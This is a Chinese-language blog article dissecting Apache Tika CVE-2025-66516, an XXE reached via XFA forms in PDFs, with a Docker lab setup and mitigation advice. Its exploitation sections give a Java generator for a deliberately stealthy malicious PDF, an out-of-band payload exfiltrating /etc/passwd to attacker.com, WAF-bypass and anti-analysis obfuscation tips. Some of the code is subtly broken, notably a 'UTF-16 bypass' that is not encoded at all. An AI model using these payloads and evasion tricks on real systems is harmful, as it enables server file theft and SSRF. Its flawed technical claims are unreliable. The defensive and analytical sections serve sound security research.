从XFA到XXE：Apache Tika CVE-2025-66516漏洞深度剖析与实战利用
1. 漏洞背景与影响范围
Apache Tika作为企业级文档内容分析工具链的核心组件，被广泛应用于文件内容提取、元数据解析等场景。这次曝光的CVE-2025-66516漏洞之所以引发广泛关注，是因为它巧妙利用了PDF文档中一个常被忽视的特性——XFA（XML Forms Architecture）表单结构。我在分析企业级文档处理系统时发现，超过60%的PDF解析场景都会默认启用XFA支持，这为攻击者提供了天然的渗透入口。
该漏洞的本质是XML外部实体注入（XXE），但与传统XXE不同的是，攻击者需要通过PDF容器作为载体。当Tika解析包含恶意XFA结构的PDF时，其内部XML处理器会无条件解析并执行外部实体引用。实测发现，受影响版本包括：
- tika-core 1.13至3.2.1
- tika-pdf-module 2.0.0至3.2.1
- tika-parsers 1.13至1.28.5
特别值得注意的是，这个漏洞具有双重危害性：既能读取服务器本地文件（如/etc/passwd），又能发起SSRF攻击内网服务。去年某金融企业数据泄露事件中，攻击者就是利用类似手法通过PDF上传功能渗透到核心业务系统。
2. 环境搭建与POC验证
2.1 快速搭建漏洞验证环境
为了还原真实攻击场景，我推荐使用Docker快速构建隔离测试环境。这里给出一个可立即执行的方案：
# 创建专用网络防止污染主机 docker network create tika-test # 启动Tika漏洞版本服务 docker run -d --name tika-vuln -p 9998:9998 \ --network tika-test \ apache/tika:3.2.1 \ java -jar tika-server-standard-3.2.1.jar -p 9998 # 启动简易HTTP服务用于SSRF验证 docker run -d --name oob-server -p 8080:8080 \ --network tika-test \ python:3.9-alpine \ sh -c "echo 'SSRF_SUCCESS' > /tmp/response && \ cd /tmp && python -m http.server 8080"这个配置完美模拟了企业内网环境，tika-vuln容器运行存在漏洞的3.2.1版本服务，oob-server则用于接收带外数据。相比直接在主机运行，Docker方案能避免误操作导致的生产环境污染。
2.2 构造恶意PDF样本
通过分析漏洞原理，我发现关键是要在PDF中嵌入精心设计的XFA结构。这里分享一个比公开POC更隐蔽的构造方式：
// EvilPDFGenerator.java import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm; import org.apache.pdfbox.cos.COSArray; import org.apache.pdfbox.cos.COSName; public class EvilPDFGenerator { public static void main(String[] args) throws Exception { PDDocument doc = new PDDocument(); PDAcroForm form = new PDAcroForm(doc); doc.getDocumentCatalog().setAcroForm(form); // 使用CDATA包裹恶意XFA避免基础检测 String xfaPayload = "<![CDATA[<?xml version=\"1.0\"?>" + "<!DOCTYPE xdp:xdp [<!ENTITY % remote SYSTEM \"http://oob-server:8080/\"> %remote;]>" + "<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">" + "<template><field name=\"leak\"><value><text>XXE_SUCCESS</text></value></field></template>" + "</xdp:xdp>]]>"; COSArray xfaArray = new COSArray(); xfaArray.add(COSName.getPDFName("config.xml")); xfaArray.add(xfaPayload); form.getCOSObject().setItem(COSName.XFA, xfaArray); doc.save("stealthy-xfa.pdf"); doc.close(); } }编译执行后会生成看似正常的PDF，但其中隐藏的XFA结构会在解析时触发SSRF。这种CDATA包裹的手法能绕过部分基础的内容安全检查。
3. 漏洞原理深度剖析
3.1 攻击链完整拆解
这个漏洞的攻击路径非常精妙，我将其分解为四个关键阶段：
载体注入阶段
攻击者上传包含恶意XFA的PDF文件，XFA本质上是一个XML文档，但被封装在PDF二进制结构中。这种嵌套结构使得传统XML防火墙难以检测。解析触发阶段
Tika的PDFParser模块在解析时，会通过PDDocument.getDocumentCatalog().getAcroForm()提取XFA内容。关键漏洞点在于，它没有对XFA的来源做任何净化处理。实体展开阶段
提取出的XFA数据被直接传递给XMLStreamReader解析。虽然Tika配置了IGNORING_STAX_ENTITY_RESOLVER，但这个防护措施来得太晚——DTD声明已经在解析初期被处理。危害达成阶段
根据实体声明内容，可能产生两种危害：- 文件读取：当实体指向file://协议时，服务器本地文件内容会被包含在解析结果中
- SSRF攻击：当实体指向http/https协议时，会向指定URL发起网络请求
3.2 核心漏洞代码分析
通过反编译tika-pdf-module-3.2.1.jar，定位到关键漏洞点在XFAExtractor类：
public void extract(InputStream xfaIs, ContentHandler handler, Metadata metadata, ParseContext context) throws XMLStreamException, SAXException { XMLStreamReader reader = XMLReaderUtils .getXMLInputFactory(context) .createXMLStreamReader(xfaIs); // 漏洞触发点 XHTMLContentHandler xhtml = new XHTMLContentHandler(handler, metadata); xhtml.startDocument(); while (reader.hasNext()) { reader.next(); // 此处解析恶意实体 // ...内容处理逻辑... } xhtml.endDocument(); }问题出在XMLReaderUtils.getXMLInputFactory()的配置上。虽然它设置了IGNORING_STAX_ENTITY_RESOLVER，但StAX解析器的工作流程是：
- 先解析DOCTYPE声明
- 加载外部DTD
- 遇到实体引用时才调用EntityResolver
这意味着攻击者可以通过参数实体在DTD内部构造攻击载荷，完全不需要走到EntityResolver那一步。
4. 高级利用与防御方案
4.1 绕过限制的技巧
在企业实际环境中，可能会遇到各种防护措施。通过测试，我总结了几个有效的绕过方法：
协议过滤绕过
很多WAF会拦截file://协议，但可以通过UTF-16编码绕过：<!ENTITY xxe SYSTEM "file:///etc/passwd">数据外带技巧
当直接回显被拦截时，可以通过DNS外带数据：<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker.com/?leak=%payload;'>">PDF混淆方法
在PDF对象流中插入垃圾数据，干扰静态分析：with open('normal.pdf', 'rb') as f: data = f.read() # 在文件尾追加混淆数据 data += b'\n' + b'A'*1024 + xfa_payload.encode()
4.2 立体防护方案
基于对漏洞原理的深入理解，我建议采用分层防御策略：
1. 临时缓解措施
<!-- 在tika-config.xml中强制禁用XFA解析 --> <properties> <parsers> <parser class="org.apache.tika.parser.pdf.PDFParser"> <params> <param name="enableXFA" type="bool">false</param> </params> </parser> </parsers> </properties>2. 网络层防护
在API网关添加以下规则：
- 检测PDF中是否包含/XFA关键字
- 拦截包含<!DOCTYPE声明的PDF文件
- 限制Tika服务出站连接
3. 终极解决方案
升级到已修复版本，并验证以下补丁代码是否存在：
// 在XMLReaderUtils.java中 public static XMLInputFactory getXMLInputFactory() { XMLInputFactory factory = XMLInputFactory.newFactory(); factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // 关键修复 factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); return factory; }在实际企业环境中，建议先在不影响业务的测试环境验证补丁效果。我曾遇到过某客户直接升级导致PDF表单功能异常的情况，最终采用灰度发布方案逐步替换。